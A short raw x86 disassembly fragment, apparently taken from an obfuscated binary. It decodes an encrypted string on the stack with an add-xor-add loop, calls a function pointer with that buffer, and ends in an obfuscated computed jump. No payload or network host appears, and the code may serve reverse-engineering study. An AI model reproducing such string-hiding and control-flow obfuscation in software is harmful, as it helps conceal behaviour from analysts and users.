mov dword [esp + 0xe8], 0xcbb9c561
mov dword [esp + 0xec], 0xcfbfc9b9
mov dword [esp + 0xf0], 0xd3a0cdb5
mov dword [esp + 0xf4], 0xd7a4d1a0
mov dword [esp + 0xf8], 0xdba8d5a4
mov dword [esp + 0xfc], 0xdfbed9a8
mov dword [esp + 0x100], 0x2383dd8b
mov dword [esp + 0x104], 0x2787218a
mov dword [esp + 0x108], 0x2b832592
mov dword [esp + 0x10c], 0x2f5b295b
mov dword [esp + 0x110], 0x33492d5b
mov dword [esp + 0x114], 0x37413142
mov dword [esp + 0x118], 0x3b3a354e
mov eax, dword [0x44bf10]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xba
xor dl, byte [esp + ecx + 0x3c]
add dl, 0x5e
mov byte [esp + ecx + 0x3c], dl
inc ecx
cmp ecx, 0xe0
jne 0x40ba40
lea ebp, [esp + 0x3c]
push 0
push 0
push 0
push 0
push ebp
call eax
xor ecx, ecx
mov dword [esp + 8], eax
test eax, eax
setne cl
mov eax, dword [ecx*4 + 0x445d8c]
mov ecx, 0x59a0b1e4
xor ecx, dword [0x445d94]
add eax, ecx
inc eax
jmp eax